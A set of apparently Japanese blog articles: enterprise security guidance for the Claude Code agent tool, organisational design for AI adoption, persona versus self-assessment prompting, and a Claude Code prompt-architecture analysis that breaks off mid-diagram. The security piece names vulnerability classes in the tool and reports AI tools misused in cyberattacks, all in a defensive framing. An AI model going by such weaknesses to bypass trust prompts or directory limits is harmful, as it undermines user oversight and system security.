「AIにコードを入れると学習されて漏れる」という言葉は半分正しく、半分間違っています。エンタープライズ環境で重要なのは、漠然とした「AI」という単語ではなく、具体的な契約条件と製品の区分です。

Anthropicの企業向け製品は原則が明確です。基本的に商用の入力・出力データはモデルの学習には使用されません。Claude Codeのドキュメントでも、デフォルトの30日データ保存ポリシーとともに、適切に構成されたAPIキーを使用する場合はサーバーに会話履歴を保存しないZero Data Retention（ZDR）オプションを提供していると明示されています。

しかし個人向けの領域は話が異なります。2025年8月に変更された消費者向け利用規約によれば、「学習を許可するかどうか」の設定に応じてデータ保存期間が長くなる場合があります。したがって企業は、現在使用しているサービスが商用（Work/API/Gov）の範囲に属するのか、ログ保存ポリシーは標準（30日）なのかZDR（0日）なのか、そしてクライアントのローカルキャッシュをどこまで許容するのかを明確に確認し、統制しなければなりません。セキュリティの出発点は、守るべき資産を特定し保護手段を定義することにあるからです。

認証マークと実質的なセキュリティ

「SOC 2やISO 27001の認証があるから安全だ」という信念もまた、半分の真実にすぎません。もちろん認証は重要です。AnthropicはTrust CenterでSOC 2 Type II、ISO 27001といったコンプライアンスアーティファクトを提供し、組織のセキュリティ管理体系が機能していることを証明しています。

しかし認証は「侵害が絶対に発生しない」ことを保証するものではありません。認証は管理体系の有効性を示すだけであり、製品のあらゆる技術的脆弱性を取り除いてくれる魔法ではないからです。エンタープライズ企業は認証を単なる「安心の判子」と見なしてはいけません。代わりに、これを取引の安全装置として活用すべきです。データ保存期間、アクセス統制、監査ログ、インシデント通知手続き、サブプロセッサー管理、地域規制の遵守といった具体的な項目を契約と運用ポリシーに固定し、実質的な拘束力を確保しなければなりません。

エージェント型ツールの新たな脅威

「Claude Codeは単なるIDEプラグインだから危険ではない」という考えは危険な誤判断です。Claude Codeは単純なオートコンプリートツールではなく、自ら判断して行動する「エージェント型ツール」です。ローカルの実行環境、各種ツールとの連携、そしてユーザー権限が入り混じる地点で、従来とは次元の異なる攻撃対象領域が生まれます。

実際、2025年に報告されたClaude Code関連のCVE事例は、こうした脅威をよく示しています。IDE拡張のWebSocket認証バイパスによる未認可接続の問題（CVE-2025-52882）、ユーザーが信頼ダイアログを承認する前に悪意あるコードが実行されうる脆弱性（CVE-2025-59536）、Yarnプラグインと連動した類似の問題（CVE-2025-65099）、そしてパス検証の不備によるディレクトリ制限バイパスの問題（CVE-2025-54794）などがその証拠です。

これはClaude自体が危険だという意味ではありません。エンタープライズの配布および運用のやり方が危険でありうるという警告です。アップデートが遅れ、開発者PCの環境が断片化しており、ダウンロードフォルダから任意のファイルを実行することが容認される文化であれば、エージェント型ツールの導入は事故の確率を高める起爆剤になりかねません。

防御の速度と自動化

「AIセキュリティは防御側だけの悩みだ」という考えもまた誤りです。攻撃者もすでにAIを武器にしています。Anthropicが2025年8月に公開した脅威インテリジェンス（Threat Intelligence）によれば、Claude Codeを含むツールが大規模な恐喝作戦などのサイバー攻撃に悪用された形跡が捉えられました。さらに2025年11月には、AIを単なる助言者ではなく攻撃の実行者として活用する水準にまで高度化したスパイ活動キャンペーンが公開されもしました。

こうした現実は、防御戦略の根本的な変化を求めます。人が一つひとつ対応する遅い防御のやり方では、AIの速度で攻撃してくるハッカーを止めることはできません。今や検知から対応、復旧に至る全過程に自動化を導入し、防御の速度を攻撃の速度に合わせなければなりません。

エンタープライズへの提言：製品設定を超えて運用モデルへ

結局のところ核心は、単純な製品設定ではなく「運用モデル」の革新です。Anthropicは権限のポップアップを減らしながらも安全を確保するために、ファイルシステムとネットワークの隔離に基づくサンドボックス化を強調しています。企業はこの方向性に合わせて、もう一段具体的な実行戦略を策定しなければなりません。

まず実行環境の隔離が必須です。可能な限りDev Container、VDI、隔離されたVM環境でAIツールを実行するようにし、ローカルPCで動かす場合でもファイルおよびネットワーク隔離のサンドボックス化をデフォルト値として適用すべきです。

ネットワーク統制もまた「デフォルト遮断（Deny-All）」を原則とすべきです。業務に必須のドメインだけをホワイトリストで許可し、残りは遮断しなければなりません。ネットワーク隔離がない状態でのプロンプトインジェクションは、即座のデータ流出につながりかねないからです。

非信頼パスからの実行はシステム的に遮断すべきです。多数のCVEが共通して警告する攻撃シナリオは、ユーザーを騙して非信頼ディレクトリでツールを実行させることです。したがってダウンロードフォルダ、一時フォルダ、共有フォルダなどからの実行は、ポリシー教育ではなくシステム設定を通じて技術的に防がなければなりません。

アップデートの強制も重要です。IDE拡張やCLIツールのアップデートを開発者個人の自律に委ねてはいけません。最小許容バージョンのポリシーを策定し、基準に満たないバージョンは実行自体が不可能になるよう遮断すべきです。

**データ漏洩防止（DLP）**の体系は、プロンプト入力の前段階に構築されなければなりません。シークレットスキャニング（Secret Scanning）とプロンプトDLPを基本設備として備え、AIや人が間違えても事故につながらないようにすることが、エンタープライズセキュリティの核心です。

最後に監査ログと異常兆候の検知の体系を備えなければなりません。誰が、どのリポジトリで、どのツールを呼び出したのかという記録を残し、これをリアルタイムで分析すべきです。攻撃者が自動化されたツールで攻撃してくる以上、防御体系もそれに見合う速度と可視性を確保しなければなりません。

結論：セキュリティがビジネスの足を引っ張らないようにするには

セキュリティはブレーキです。ブレーキがなければ事故が起きます。しかしブレーキだけを踏んでいてはどこにも行けません。エンタープライズがAI導入の前で立ち止まる場面をよく見かけます。「危険かもしれないから、ひとまず保留にしよう」という決定です。保留は現状維持を意味しません。単に競争力が落ちるだけでなく、ハッカーも攻撃にAIを使っているからです。

Claude Codeのようなツールはすでに現場に入ってきています。問題は「使うか使わないか」ではありません。今は、どうすれば安全に使えるかを考えるべき時期です。ここでセキュリティは、ビジネスの足を引っ張る存在ではありません。セキュリティは安全にスピードを出せるようにしてくれるガードレールになります。ルールがあってこそチームは速く動けます。ガードレールがあってこそ人は恐れずに走れるのです。

そこでROBOCOが下した結論は単純です。AIを信じるな。人も信じるな。代わりに、信じられるシステムを作れ。そのシステムの核心は、組織が統制できる自動化されたプロセスとガードレールです。

AI導入の本質は、新しい道具を取り付けることではなく、組織がより速く、より正確に顧客価値を生み出す仕組みそのものを変えることです。

AI導入を議論する会議は、たいてい似たような問いから始まります。「競合はもう使っているらしいが、うちはいつ始めるべきか」。ほどなくしてツールの比較、ライセンス予算、研修日程が決まっていきます。ここまでは簡単です。本当に難しいのはその先です。何か月経っても働き方が根本的に変わらなかったり、一部だけが使って終わってしまうことはよくあります。いつの間にかAIは「革新プロジェクト」ではなく「もう一つのサブスクリプション料金」になっています。

この記事が扱う問題は「どのAIツールを選ぶか」ではありません。もっと根本的な問いです。なぜある組織はAIを導入した途端に成果が上がるのに、ある組織は同じツールを使っても何も起きないのか。違いは技術ではなく構造から生まれます。AIは道具ですが、道具が生む成果は結局のところ人の行動がつくり出します。行動はスローガンでは変わりません。証拠が見えるときに変わり、報酬が整合するときに持続します。

だからAI導入は、「研修」や「ガイド」以前に、測定とインセンティブ、心理的安全性、最小限のガバナンスが結びついた組織設計でなければなりません。

TL;DR

• AI導入の成否は、ツールの選択よりも、組織の行動を変える構造の設計にかかっています。
• 強制的な利用、測定の不在、誤ったKPI、個人間の競争は、AI導入を形式的なプロジェクトにしてしまいがちです。
• 成功する導入には、証拠に基づくダッシュボード、共有への報酬、心理的安全性、最小限のガバナンスが揃って必要です。

1. 失敗パターン：なぜ多くのAI導入は効果なく終わるのか

AI導入が失敗する理由は「AIがいまひとつだから」ではなく、組織がAIを扱うやり方が人の行動原理に逆らっているからです。ほとんどの失敗はツールの性能問題ではなく、導入のやり方が現場を「学習」ではなく「防御」へと追い込んだ瞬間に生じます。

最もよくある出発点は全社一括導入です。「全員使用」という宣言は素早い実行に見えますが、構成員の立場からは統制と監視として解釈されやすいものです。すると人は成果を出すよりリスクを減らそうとします。表向きはツールを立ち上げますが、内心では従来のやり方に戻ります。組織は「利用率」という幻を見て安心し、現場は「形式的な遵守」で安全を確保します。結果として残るのはライセンス費用と、「AIはたいして効果がない」という集団の記憶です。

二つ目の失敗は、測定なしに始める導入です。初期には「良くなるはずだ」という期待が共有されますが、時間が経つと問いが変わります。「それで、何がどれだけ良くなったのか」。この問いに答えられなければ、AIは戦略ではなく好みになり、予算は根拠を失います。導入を支持していた人も防御的になります。測定のない導入は、時間が経つほど社内説得のコストだけが膨らみ、最後には「証明不可能な投資」として片づけられます。

三つ目は指標を誤って設定する場合です。数量KPIはつくりやすく、説明もしやすいものです。しかしコミット数やチケット数のような指標は、人々に数字を上げる方法を探させます。意味のない変更、細切れ化、乱発が発生します。組織はデータが増えたと考えますが、顧客価値と品質はそのままか、むしろ悪化します。この瞬間、AIは「成果を上げる道具」ではなく「成果を取り繕う道具」になり、指標は学習を促す代わりに組織を歪めます。

四つ目は個人間の競争構図です。「AI活用の上位グループに報酬」は動機づけのように見えますが、実際にはノウハウを共有する理由をなくしてしまいます。情報は希少になり、うまい人はさらにうまくなり、大多数はついていけません。組織は「数人の達人」という島を得ますが、「全社の生産性」という大陸は得られません。

この四つの失敗を一文にまとめると、こうなります。強制は形式的な順応を生み、測定の不在は投資の根拠を消し、誤ったKPIは行動を歪め、競争構図は学習を孤立させます。 だからこの記事はツールの一覧を並べません。代わりに、成功する組織が共通して備えている構造——証拠をつくるダッシュボード、協力を得になるものにする報酬、不安を下げる心理的安全性、事故を防ぐ最小限のガバナンス——を中心に、AI導入を再設計します。

2. 成功の原則：「強制」ではなく「証拠」、「競争」ではなく「協力」

AI導入を動かす力は、指示ではなく観察から生まれます。心理学でいう社会的証明（social proof）と記述的規範（descriptive norm）のためです。人は「しなければならない」よりも、「他の人が実際にやっていて、その結果が良い」を見たときに行動を変えます。組織がすべきことは「AIを使ってください」と繰り返すことではなく、AIをうまく活用したチームや個人の成果と過程を目に見えるようにすることです。

ダッシュボードや事例の共有は単なる宣伝ではなく、構成員に「これが今この組織で通用するやり方だ」という規範の信号を送ります。特に比較の基準が「絶対的な目標」ではなく「似た役割・似た状況の同僚」であるとき（準拠集団効果）、人はより動きやすくなります。「自分もあれくらいならできそうだ」という自己効力感が生まれるからです。

しかし証拠だけでは十分ではありません。組織が本当に望む変化は「数人の達人」ではなく「集団学習」ですが、集団学習は自動的には発生しません。行動経済学において共有は典型的な公共財（public goods）です。全員が恩恵を受けますが、貢献は個人にとって費用と感じられるため、ただ乗り（free-rider）が生じます。だから「共有してください」といった道義的な要請は長続きしません。協力を生み出すには、選択アーキテクチャ（choice architecture）を変えなければなりません。つまり、共有が善意ではなく合理的な選択になるようにする必要があります。

ここで肝心なのは、インセンティブを「個人間の競争」として設計しないことです。「上位10％に報酬」は短期的には動機を与えるように見えても、実際には相対評価が生む防御心理を刺激します。人は自分の優位を保とうとして情報を隠し、ノウハウは私有化されます。さらに、成果が近い人どうしでは小さな差にも敏感になり、協力が壊れます（公正性の認識）。

協力を生み出すには、報酬は「序列」ではなく「伝播」を基準にすべきです。自分が共有したコツが他の人に適用されて効果が確認されたとき、その効果の一部が自分に返ってくる構造が必要です。このとき人は互恵性（reciprocity）によって動きます。「与えた分だけ返ってくる」という感覚が生まれると、知識は交換され始めます。

もう一つ重要な仕掛けは即時性です。人は未来の大きな報酬よりも、今の小さなフィードバックによく反応します（現在バイアス）。だから共有に対する承認は、年末評価の一行ではなく、同僚の「適用した」「役に立った」といった速いフィードバックループとして設計されるべきです。小さな承認が頻繁に繰り返されると、行動は習慣になります。同時に、自律性・有能感・関係性を満たす方向で設計すべきです（自己決定理論）。「共有しろ」ではなく「あなたが見つけたものをチームが一緒に使えるようにすれば、あなたの影響力が大きくなる」へとメッセージが変われば、共有は統制ではなくアイデンティティ（自分は貢献する人間だ）の問題になります。

最後に、協力は「良い人たち」が集まればよいというものではなく、初期値（default）と摩擦（friction）をどう置くかにかかっています。共有が面倒で成果の承認が遅ければ、誰も継続しません。逆に、共有テンプレートがあり（摩擦の低減）、チーム会議に10〜15分の「今週の発見」が初期値として組み込まれ（デフォルトの設計）、共有が実際の適用と結びついて点数に反映されれば（インセンティブの整合）、組織は努力しなくても協力の方へ転がっていきます。結局、「協力」は文化ではなく設計の結果です。

3. 導入の方法：権限付与と役割別の活用設計

AIを導入するとき最もよくある失敗は「ツールの平等な配布」です。すべての開発者に同じCopilotのライセンスを配って「うまく使ってください」と言えば、シニアは単純な反復作業にしか使わず、ジュニアはコードをコピーして貼り付けるのに忙しくなります。権限（Empowerment）は、ツールの支給ではなく、そのツールで何を解決すべきかを定義してあげたときに生まれます。

組織は役割ごとに「勝つシナリオ」を設計しなければなりません。たとえばジュニアにとってAIは「24時間のメンター」であるべきです。わからないエラーログを解釈し、ライブラリの文書を要約し、無駄に費やす時間を減らすことが中心的な価値です。一方、シニアにとってAIは「設計パートナー」です。複雑なシステムアーキテクチャの穴を見つけたり、レガシーコードをリファクタリングする際の副作用を予測したりする用途で使うとき、生産性が爆発します。QAはテストケース作成の時間を限りなくゼロに近づけることが目標であるべきで、PM／POは議事録の整理や要件仕様の具体化におけるボトルネックをなくすべきです。

「とにかく使ってください」ではなく「あなたの役割では、この道具で時間をこう節約できます」という具体的なプレイブック（Playbook）が与えられたとき、AIは宿題ではなく武器になります。重要なのは「AIを使わせること」ではなく「AIを使って勝たせること」です。

4. 成熟度モデル：組織の学習経路の設計

AIの活用能力は一朝一夕には身につきません。自転車を習うように段階があります。しかし多くの組織はこの段階を無視して、最初から「コーディングの自動化」を望みます。歩けもしないのに走れと言えば転ぶように、成熟度モデルなしに高度な機能を要求すれば、組織はAIを諦めることになります。私たちは組織のAI成熟度を4段階で定義し、各段階に合った学習目標を示すべきです。

graph LR
    Step1[質問と検索] --> Step2[成果物の生成]
    Step2 --> Step3[協働的な判断とレビュー]
    Step3 --> Step4[エージェントへの委任]

第1段階は「質問と検索」です。グーグル検索の代わりにAIに尋ね、基本的な概念をつかむ段階です。 第2段階は「成果物の生成」です。単体テストのコード、文書の草案、簡単な関数を生成させる段階です。ここで生産性の味を知ります。 第3段階は「協働的な判断とレビュー」です。AIが書いたコードを自分がレビューし、自分のコードをAIにレビューさせる相互検証の段階です。ここから品質が上がります。 第4段階は「エージェントへの委任」です。「この機能を実装して」と言えば、AIが計画、コーディング、テスト、修正まで遂行する段階です。

この成熟度モデルは人を序列づけるための成績表ではありません。構成員に「自分が今どこにいて、次の段階へ進むには何を練習すべきか」を示す地図（Map）です。地図があれば道に迷わず、学習は漠然とした努力ではなく明確なクエストになります。

5. 成果の測定：「たくさん」ではなく「重要なことをうまく」

「測定できなければ管理できない」という言葉は、AI導入においても有効です。しかし「誤って測定すれば破綻する」という言葉も肝に銘じるべきです。AI導入の初期、多くの組織は「生成されたコード行数」や「AIツールの使用回数」といった指標を見ます。これは最悪です。コードを多く作ることが目標になれば、システムは肥大化し、保守コストは爆発的に増えます。使用回数に執着すれば、意味のない質問ばかりが増えます。

正しい成果測定は、「速度」ではなく「価値」に焦点を当てるべきです。私たちが測定すべきなのは「どれだけ速くコードを書いたか」ではなく、「顧客に価値を届けるリードタイム（Lead Time）がどれだけ短くなったか」です。また「デプロイ後に発生した障害率（Change Failure Rate）がどれだけ下がったか」を見るべきです。

さらに精緻に言えば、「顧客への影響度」を重みとして置くべきです。セキュリティ脆弱性をAIで素早く捉えたなら高い点数を、単純な誤字を修正しただけなら低い点数を与えるべきです。目標は「AIで仕事をたくさんすること」ではなく、「AIで重要な問題をより速く安全に解決すること」です。指標がこのように設定されれば、組織は自然と無駄なコーディングを減らし、核心的な問題の解決に集中するようになります。

6. ダッシュボード：相関関係を組織の言語にする

データがExcelファイルの中にしかなければ意味がありません。AI導入の成否を分ける心臓は、透明に公開されたダッシュボードです。ただしダッシュボードは経営陣の監視ツールになってはいけません。構成員のためのフィードバックの鏡（Mirror）でなければなりません。

ダッシュボードには三つのことが一目で見えるべきです。第一に、自分の位置です。自分の生産性と品質の指標がどのあたりにあるのかを客観的に認識できなければなりません。第二に、相関関係です。成果の高いグループ（Top Performer）のAI活用パターンが見えなければなりません。「あれ、あのチームはAIレビュー機能をよく使っているのに障害率が0％だ」といった事実がデータとして見えるとき、人は言われなくてもそのやり方を真似します。第三に、組織の方向です。自分たちの組織全体が今、第1段階から第2段階へ移りつつあるという流れが見えなければなりません。

このときダッシュボードは説得の道具になります。百の言葉よりも「AIをうまく使う同僚のほうが退勤も早く、成果もよく出ている」というデータ一つのほうが強力です。組織はデータを通じて「勘」ではなく「証拠」で意思疎通し、学習の方向を自ら修正するようになります。

7. 共有への報酬：ノウハウを「成果」にする設計

知識労働の世界において「ノウハウ」はすなわち権力です。だから本能的に自分だけが知っていたいと思います。この本能に逆らうには、「共有することが隠すことより得になる構造」をつくらなければなりません。単に「共有しましょう」というキャンペーンではまったく足りません。

共有を「知識資産」として認める仕組みが必要です。自分が投稿したプロンプトのコツを同僚が使って時間を節約したなら、その節約された価値の一部を自分の成果として認めるべきです。社内Wikiに載せたAIガイドが広く読まれ、チームの標準プロセスとして採用されるなら、これはコードを書くのと同じくらい重要な貢献として評価されるべきです。

こうした構造が整えば、ノウハウの共有は「ボランティア活動」ではなく「最も効率的な成果創出の手段」になります。「自分だけが知っておこう」という考えは「これを共有して自分の影響力を大きくしよう」に変わります。組織全体が巨大な知識生産工場になる瞬間です。協力の文化は善良な心ではなく、賢い報酬設計から生まれます。

8. 心理的安全性：AIが恐怖になった瞬間、革新は止まる

AI導入への抵抗は、「面倒だから」よりも「不安だから」から生まれます。特に「AIを使えなければ自分は押し出されるのか」「これが結局は解雇の根拠になるのか」といった心配が組織に広がると、人は学習するよりも防御的に動きます。防御は実験を減らし、実験が減れば学習も止まります。だから組織は心理的な安全装置を先に立てなければなりません。

ここで重要な宣言は、単なる慰めではなく運用原則です。AIを使うかどうか自体は、解雇や不利益の根拠として使わない。一定期間は学習期間として置き、道具に習熟する過程で生じたミスは、非難ではなく成長の材料として扱います。またシニアが感じる「自分の経験は無意味になるのか」という不安も正面から扱うべきです。ドメイン知識、アーキテクチャの判断、レビューの力量はAIが完全に代替することは難しく、AIはその能力をより速く、より正確に発揮できるよう助ける増幅装置に近いものです。

ただし同時に、組織はもう一つを明確にしなければなりません。AIを使うか否かではなく、結果として出したパフォーマンスへの評価は従来どおり維持されるという点です。つまり「AIを使わなかったから大丈夫」ではなく、従来と同じ基準で顧客価値、品質、協業への貢献を評価し、それに応じた報酬・昇進・調整は引き続き行われます。組織が保証するのは「AI利用の強制がないこと」であって、「成果責任の免除」ではありません。この均衡があってこそ、構成員は安全に実験しながらも、成果を出す方向へ学習を続けられます。

9. 最小限のガバナンス：少なく、しかし明確に

あらゆる技術導入にはブレーキが必要です。しかしブレーキの目的は車を止めることではなく、もっと速く走るためです。安全だという確信があってこそアクセルを踏めるからです。AIのガバナンスも同じです。規制が多すぎれば誰も使わず、なければ大きな事故が起きます。だから「最小限の安全装置（Minimum Viable Governance）」が必要です。

守るべきはたった三つです。 第一に、機微データの隔離です。個人情報、認証キー、未公開の中核技術は決して外部のAIに入力しません。これはツールのレベルで遮断またはフィルタリングすべきです。 第二に、Human-in-the-loop（人間の介在）です。AIが生成した成果物（特にコードと文書）は、必ず人のレビューを経てからデプロイできるものとします。「AIが書きました」は免罪符にはならず、最終的な責任は常にレビュアーにあります。 第三に、盲目的な信頼の禁止です。AIの出力は常に誤りうるという前提のもとで、交差検証しなければなりません。

この三つのガードレールさえ明確であれば、その柵の中では思う存分走り回らせるべきです。曖昧な規制は萎縮を招きますが、明確な安全装置は速度を生みます。

10. 実行の段階：検証から精緻化まで

成功するAI導入は「今日から開始！」と宣言するイベントではありません。生き物のように育つ進化の過程です。私たちはこれを検証（Verify）→拡散（Spread）→内在化（Embed）の3段階で捉えるべきです。

1. 検証段階（The Pilot）：全体導入は危険です。変化に開かれたアーリーアダプターのチームを一つ選定し、集中的に支援します。目標は「AIで成果が出る」という確実な成功事例を一つつくることです。この小さな勝利が全体への拡散の火種になります。

2. 拡散段階（The Rollover）：パイロットチームの成功事例をもとに役割別のプレイブックをつくり、研修を始めます。このときダッシュボードを開放してデータを見せれば、様子をうかがっていた多数派（Early Majority）が動き始めます。

3. 内在化段階（The Standard）：AIの活用が特別なイベントではなく日常になる段階です。オンボーディングのプロセスにAI研修が含まれ、評価システムにAI活用の力量が反映されます。

重要なのは、段階を飛ばさないことです。検証されないまま拡散すれば混乱だけが大きくなり、拡散されないまま内在化しようとすれば反発を買うだけです。速さより重要なのは、揺るがない方向性です。「導入したか」を問うのではなく、「証拠が積み上がっているか」を問うべきです。

結びに：リーダーシップの役割は「環境づくり」

AI導入プロジェクトにおけるリーダーの役割は、指揮官ではなく庭師（Gardener）に近いものです。植物を無理に引っ張って育てることができないように、構成員に「AIを使え」と強要して成果を出させることはできません。リーダーがすべきことは土壌をつくることです。

使いやすい道具を手渡し（インフラ）、どう使うかを教え（研修）、うまく使った人に陽の光を当て（報酬）、雑草や害虫の心配なく育つよう柵を張ってやること（安全）。この環境さえ整えば、組織は自ら学習し進化します。

AIは単なる自動化ツールではありません。組織の学習プロセスを根こそぎ変えうる触媒です。この変化を費用にするのか、それとも圧倒的な競争優位にするのかは、ひとえに組織設計にかかっています。もう問いを変えましょう。「どのAIを買おうか」ではなく、「どんな組織をつくろうか」へ。

自信と慎重さのあいだの綱渡りについて

はじめに

「シニアエンジニアのように答えて」と言うことと、モデルに「まず自分が何であるかを考えてから答えて」と言うことには、どのような違いがあるのでしょうか。一見似ているようですが、内部ではまったく異なるメカニズムが働いています。本稿では、この二つのアプローチの数学的な違いと実務上の示唆を見ていきます。

TL;DR

• ペルソナ指定はモデルの出力分布を特定の役割の方向へ操舵しますが、その役割が明示的な制約として残るわけではありません。
• メタ認知方式は自己評価を先にトークンとして生成させることで、その後の回答をより慎重で一貫した方向に制限します。
• 自信のある専門家のトーンが必要ならペルソナを、不確実性と限界の認識が重要ならメタ認知方式を使うのが適しています。

1. ペルソナ直接指定方式（Direct Role Assignment）

一つ目は、私たちが最もよく使うプロンプティング手法です。「シニアエンジニアとして答えて」「あなたは10年目の開発者です」のように、役割を直接与えるやり方です。

数学的に表すと次のようになります。

P(応答 | プロンプト, "役割=シニア_エンジニア")

この方式でモデルは次のように動作します。

第一に、即時のパターンマッチングが起こります。 モデルは学習データの中から「シニアエンジニア」に関連するテキストパターンを即座に活性化します。技術ブログ、Stack Overflowの高評価回答、技術文書などから学習したパターンが、出力確率に直接反映されます。

第二に、中間的な推論過程が省略されます。 モデルは「自分は本当にシニアエンジニアなのか」「シニアエンジニアならこの質問にどう答えるべきか」といったメタ的な思考を経ずに、ただちにその役割の語調と内容を生成します。

第三に、潜在空間で直接的な操舵が発生します。 役割の指示文は、モデルの潜在表現（latent representation）に対して一種の「操舵ベクトル（steering vector）」として作用します。これは出力分布全体を特定の方向へ押し出す効果を持ちます。

2. メタ認知方式（Self-Assessment Then Response）

二つ目は、モデルにまず自分自身が何であるかを定義させ、その定義に基づいて応答させる方式です。

数学的には2段階の条件付き確率として表されます。

P(自己評価 | プロンプト) → P(応答 | プロンプト, 自己評価)

この過程は次のように展開します。

第1段階：自己評価の生成。 モデルが「私はClaudeです。AIアシスタントとして実際の業務経験はありませんが、幅広い技術知識を学習しています……」といった自己説明を生成します。

第2段階：コンテキストウィンドウへの組み込み。 この自己説明のトークンがコンテキストウィンドウの一部になります。ここが核心です。

第3段階：制約された応答の生成。 以降のすべてのトークン生成は、先に生成された自己説明に条件づけられます。「私は実際の経験がないAIだ」と明示したあとで「私の経験では……」と言う確率は、著しく低くなります。

3. 核心的な違い：抽象的な役割か、直列化された制約か

二つの方式の決定的な違いは、制約がどこで発生するかにあります。

ペルソナ指定方式において「シニアエンジニア」は、抽象的な概念としてのみ作用します。モデルはこの役割を「演じ」ますが、自分が実際には何であるかについての明示的な記述はコンテキストに存在しません。したがってモデルは自信を持って「私の経験では……」と言うことができます。

一方、メタ認知方式では「私はAIであり実際の経験がない」という記述が、実際のトークン列としてコンテキストに存在します。言語モデルは本質的に、先行するトークンと一貫した次のトークンを生成するよう訓練されています。したがって自らの限界を明示したあとでは、それと矛盾する主張を生成する確率が数学的に低くなります。

これは単なるニュアンスの違いではありません。制約の位置が潜在空間からトークン空間へ移動するという根本的な違いです。

4. 実際の出力の違い

理論上の違いは、実際の出力にどのように現れるのでしょうか。

ペルソナ指定方式の出力の特徴

• 自信があり断定的な語調
• 「私の経験では」「実務では」といった表現が頻出する
• 技術的な主張に対する確信が強い
• AIであることに言及しない、あるいは最小限にとどめる

メタ認知方式の出力の特徴

• 慎重で断定を避ける語調
• 「直接の経験はありませんが……」「一般に知られているところでは……」といった表現
• AIとしての限界を明示的に認める
• 不確実性を率直に表現する

5. 実務での活用ガイド

では、いつどちらの方式を使うべきでしょうか。

ペルソナ指定が適している場合

創造的なコンテンツ生成では、ペルソナ指定が効果的です。マーケティングコピー、ストーリーテリング、特定の語調での文書作成などでは、モデルが自らの限界に言及し続けるとかえって妨げになります。

高速なプロトタイピングでも有用です。アイデアを素早く探索する際は、毎回慎重な但し書きが付くよりも、自信のある提案を受け取るほうが効率的な場合があります。

ロールプレイ型の学習で特定の視点を体験したいときにも適しています。たとえば「顧客の立場からこの製品を評価して」といった依頼です。

メタ認知方式が適している場合

正確性が重要な技術的質問では、メタ認知方式のほうが優れています。モデルが自らの限界を認識し、不確実な部分を明示すれば、ユーザーは追加の検証が必要な箇所を把握しやすくなります。

意思決定の支援でも推奨されます。重要な決定を下す際には、過度に自信のある助言よりも、不確実性が明示された助言のほうが安全です。

学習・教育目的で使う場合にも適しています。学習者がAIの回答を無批判に受け入れないよう、限界が明示された応答のほうが教育的に価値があります。

6. ハイブリッドなアプローチ

実務では二つの方式を組み合わせることもできます。たとえば次のように書きます。

あなたはシニアバックエンドエンジニアの視点から答えてください。ただし、
AIとして実際のプロダクション経験がない点を念頭に置き、
不確実な部分は明示してください。

この方式は、ペルソナの専門性とメタ認知の慎重さを同時に活用します。モデルはシニアエンジニアの語調と深さで答えつつ、確信を持てない部分では適切にヘッジします。

おわりに

プロンプトエンジニアリングにおいては、「どの役割を与えるか」と同じくらい「その役割をどう与えるか」が重要です。ペルソナの直接指定とメタ認知の誘導は、一見わずかな違いに見えますが、モデルの内部ではまったく異なる確率分布を作り出します。

要点をまとめると次のとおりです。

• ペルソナ指定は潜在空間で出力分布を直接操舵する
• メタ認知方式はトークン空間で明示的な制約を生成する
• 前者は自信のある出力を、後者は慎重な出力を導く
• 目的に応じて適切な方式を選ぶ、あるいは組み合わせるのが望ましい

言語モデルを道具としてうまく活用するには、その道具が内部でどう動いているかを理解することが助けになります。本稿がプロンプティング戦略を設計する際の一つの参考になれば幸いです。

本稿はClaudeとJonCygnusの対話で議論された内容をもとに整理したものです。

「勝手にやってくれる」体験の裏に隠された、緻密なプロンプトエンジニアリングの世界

Claude Codeを初めて使ってみた開発者は、しばしば「どうしてこんなに文脈をよく理解するのだろう？」という疑問を抱きます。単なるコーディングアシスタントではなく、まるでプロジェクトを長く共にしてきた同僚のようにふるまうClaude Code。その秘密は、40個以上のプロンプト断片が動的に組み合わされる緻密なシステムアーキテクチャにあります。

この記事では、Claude CodeがCLAUDE.mdとコードベースをどのように活用してLLMに指示を出すのか、そしてシステムプロンプトがどのようにリアルタイムで生成されるのかを深掘りして分析します。

この記事はLiteLLMプロキシを通したAPIモニタリングの分析と、公開されているシステムプロンプト資料をもとに書かれており、参考にした資料は記事の末尾にまとめてあります。

TL;DR

• Claude Codeの強みは、一つの巨大なプロンプトではなく、状況に応じて組み立てられるプロンプトシステムから生まれます。
• CLAUDE.md、システムリマインダー、サブエージェント、権限検証は、それぞれコンテキストの品質と安全性を高める役割を担っています。
• 核心となる教訓は、プロンプトをうまく書くレベルを超えて、コンテキストと作業フローをアーキテクチャとして設計しなければならない、ということです。

目次

1. 全体アーキテクチャの流れ
2. システムプロンプトの動的構成
3. CLAUDE.mdの活用メカニズム
4. System Reminderの注入パターン
5. Sub-Agentアーキテクチャ
6. セキュリティと権限検証の流れ
7. コンテキストエンジニアリング戦略
8. 重要なインサイト

1. 全体アーキテクチャの流れ

Claude Codeに命令を入力すると何が起きるのでしょうか。単にユーザーのメッセージがAPIへ送信されるわけではありません。その間には緻密なコンテキスト収集、プロンプトのビルド、事前処理の過程が存在します。

graph TB
    Start[ユーザーが命令を入力] --> Init[セッション初期化]
    Init --> LoadContext[コンテキストのロード]
    
    subgraph "コンテキスト収集"
        LoadContext --> ReadCLAUDE[CLAUDE.mdを読む]
        LoadContext --> ReadCode[コードベースの分析]
        LoadContext --> ReadGit[Gitの状態を確認]
        LoadContext --> ReadEnv[環境情報の収集]
    end
    
    subgraph "プロンプト生成"
        ReadCLAUDE --> BuildPrompt[システムプロンプトのビルド]
        ReadCode --> BuildPrompt
        ReadGit --> BuildPrompt
        ReadEnv --> BuildPrompt
        
        BuildPrompt --> CorePrompt[Coreシステムプロンプト]
        BuildPrompt --> ToolDesc[ツール説明の追加
17個のビルトインツール]
        BuildPrompt --> ContextPrompt[コンテキストプロンプト
CLAUDE.mdの内容]
        BuildPrompt --> Reminders[システムリマインダーの追加]
    end
    
    subgraph "リクエストの前処理"
        CorePrompt --> PreProcess[リクエストの事前処理]
        ToolDesc --> PreProcess
        ContextPrompt --> PreProcess
        Reminders --> PreProcess
        
        PreProcess --> TitleGen[会話タイトルの生成]
        PreProcess --> TopicCheck[話題変更の検知]
        PreProcess --> ConvSummary[会話の要約]
    end
    
    PreProcess --> SendAPI[APIリクエストの送信]
    SendAPI --> Response[Claudeの応答]
    
    subgraph "応答処理"
        Response --> ToolCall{ツール呼び出し?}
        ToolCall -->|Yes| ExecuteTool[ツールの実行]
        ToolCall -->|No| Output[ユーザーへの出力]
        
        ExecuteTool --> BashCheck{Bashコマンド?}
        BashCheck -->|Yes| CmdCheck[コマンドインジェクション検査]
        BashCheck -->|No| ToolExec[ツールの実行]
        
        CmdCheck --> Permission{権限が必要?}
